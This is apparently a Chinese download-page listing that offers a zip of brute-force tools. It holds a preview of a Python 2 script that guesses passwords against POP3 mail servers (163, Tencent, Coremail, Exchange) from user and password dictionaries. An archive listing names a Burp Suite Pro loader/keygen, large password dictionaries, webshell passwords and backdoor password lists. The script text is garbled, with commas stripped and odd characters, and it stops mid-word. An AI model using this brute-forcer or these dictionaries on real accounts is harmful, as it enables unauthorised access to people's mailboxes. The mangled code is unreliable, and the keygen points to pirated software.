Burp爆破Burp爆破 密码字典密码.zip

因为自己学习的时候，搞了好久，浪费了很长时间。分享一一个打包好的Burp和字典 Burp爆破 密码字典

#!usr/bin/python 
#!coding:utf-8 

import threadingtimerandomsyspoplib 
from copy import copy 

if len（sys.argv） !=4: 
    print “\t    Note: 邮箱类型为：‘163‘‘tencent‘‘coremail‘‘236‘‘exchange‘ \n“ 
    print “\t    Note: coremail|exchange 用户字典不需要域名后缀，例如zhangsan\n“ 
    print “\t    Note: 163|tencent|236 用户字典需要域名后缀，例如zhangsan@domain.com\n“ 
    print “\t    Usage: 163|tencent使用方法：./mail.py type  \n“ 
    print “\t    Usage: 236|exchange|coremail使用方法：./mail.py type   mail.domain.com\n“   

    sys.exit（1） 

mailType=[‘163‘‘tencent‘‘coremail‘‘236‘‘exchange‘] 

if sys.argv[1] in [‘236‘‘exchange‘‘coremail‘]: 
    try: 
        server = sys.argv[5] 
    except: 
        print ‘[-] Error: 236|exchange|coremail需要指定domain.com，请参考使用说明！\n‘ 
        sys.exit（1） 
elif sys.argv[1] == ‘163‘: 
    server = “pop.qiye.163.com“ 
elif sys.argv[1] == ‘tencent‘: 
    server = “pop.exmail.qq.com“ 
else : 
    print “[-] Error: 邮箱类型错误\n“ 
    sys.exit（1） 
     
success = [] 

try: 
    users_list = open（sys.argv[2] “r“） 
    users = users_list.readlines（） 
    words_list = open（sys.argv[3] “r“） 
    words = words_list.readlines（） 
except（IOError）: 
    print “[-] Error: 请检查用户名或密码路径及文件\n“ 
    sys.exit（1） 
finally: 
    users_list.close（） 
    words_list.close（） 
     
try: 
    if sys.argv[1] in [‘163‘‘236‘]: 
        pop = poplib.POP3（server110）         
    else: 
        pop = poplib.POP3_SSL（server995） 
    welcome = pop.getwelcome（） 
    print welcome 
    pop.quit（） 
except （poplib.error_proto）: 
    welcome = “[-] Error: No ResponseSomething wrong!!!\n“ 
    sys.exit（1） 

print “[+] Server:“server 
print “[+] Users Loaded:“len（users） 
print “[+] Words Loaded:“len（words） 
print “[+] Server response:“welcome“\n“ 

def mailbruteforce（listuserlistpwdtype）: 
    if len（listuser） < 1 or len（listpwd） < 1 : 
        print “[-] Error: An error occurred: No user or pass list\n“ 
        return 1 
     
    for user in listuser: 
        for passwd in listpwd : 
            user = user.replace（“\n“““） 
            passwd = passwd.replace（“\n“““） 
             
            try: 
                print “-“*12 
                print “[+] User:“user“Password:“passwd 
                 
#                 time.sleep（0.1）       
                if type in [‘163‘‘236‘]: 
                    popserver = poplib.POP3（server110）         
                else: 
                    popserver = poplib.POP3_SSL（server995） 
                popserver.user（user） 
                auth = popserver.pass_（passwd） 
                print auth 
                 
                if auth.split（‘ ‘）[0] == “+OK“ or auth ==“+OK“: 
                    ret = （userpasswdpopserver.stat（）[0]popserver.stat（）[1]） 
                    success.append（ret） 
                    #print len（success） 
                    popserver.quit（） 
                    break 
                else : 
                    popserver.quit（） 
                    co

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2019-11-01 14:12  爆破\
     目录           0  2019-11-02 12:48  爆破\burpsuite\
     目录           0  2019-11-02 12:46  爆破\burpsuite\Burp_Suite_Pro_v1.7.32_Loader_Keygen\
     文件       65220  2018-01-25 17:01  爆破\burpsuite\Burp_Suite_Pro_v1.7.32_Loader_Keygen\burp-loader-keygen.jar
     文件    27955758  2018-02-03 10:02  爆破\burpsuite\Burp_Suite_Pro_v1.7.32_Loader_Keygen\burpsuite_pro_v1.7.32.jar
     文件      192568  2019-10-26 11:15  爆破\burpsuite\Burp_Suite_Pro_v1.7.32_Loader_Keygen\java.exe
     文件          12  2019-11-02 12:44  爆破\burpsuite\Burp_Suite_Pro_v1.7.32_Loader_Keygen\readme.txt
     文件          32  2019-11-02 12:46  爆破\burpsuite\Burp_Suite_Pro_v1.7.32_Loader_Keygen\run.bat
     目录           0  2019-11-02 12:42  爆破\字典\
     目录           0  2019-11-02 12:33  爆破\字典\Blasting_dictionary-master\
     文件        2344  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\3389爆破字典.txt
     文件        5176  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\NT密码.txt
     文件          35  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\README.md
     文件        3637  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\baopo.py
     文件          54  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\big_dictionary.txt
     文件         500  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\jiahouzhui.py
     文件       18284  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\liunx_users_dictionaries.txt
     文件        8846  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\renkoutop.txt
     文件        1015  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\top100password.txt
     文件     9273839  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\top10W.txt
     文件       22534  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\top500姓名组合.txt
     文件         134  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\weblogic默认密码列表.txt
     文件      144194  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\webshellPassword.txt
     目录           0  2019-11-02 12:33  爆破\字典\Blasting_dictionary-master\各类黑客大牛后门密码\
     文件       12865  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\各类黑客大牛后门密码\各类黑客大牛后门密码.txt
     文件       40710  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\后台路径.txt
     文件        2107  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\字典.txt
     文件       62027  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\常用密码.txt
     文件       71357  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\常用用户名.txt
     目录           0  2019-11-02 12:33  爆破\字典\Blasting_dictionary-master\常用英文用户名和奇葩密码\
     文件      700728  2017-11-15 15:30  爆破\字典\Blasting_dictionary-master\常用英文用户名和奇葩密码\passwords.txt
............此处省略91个文件信息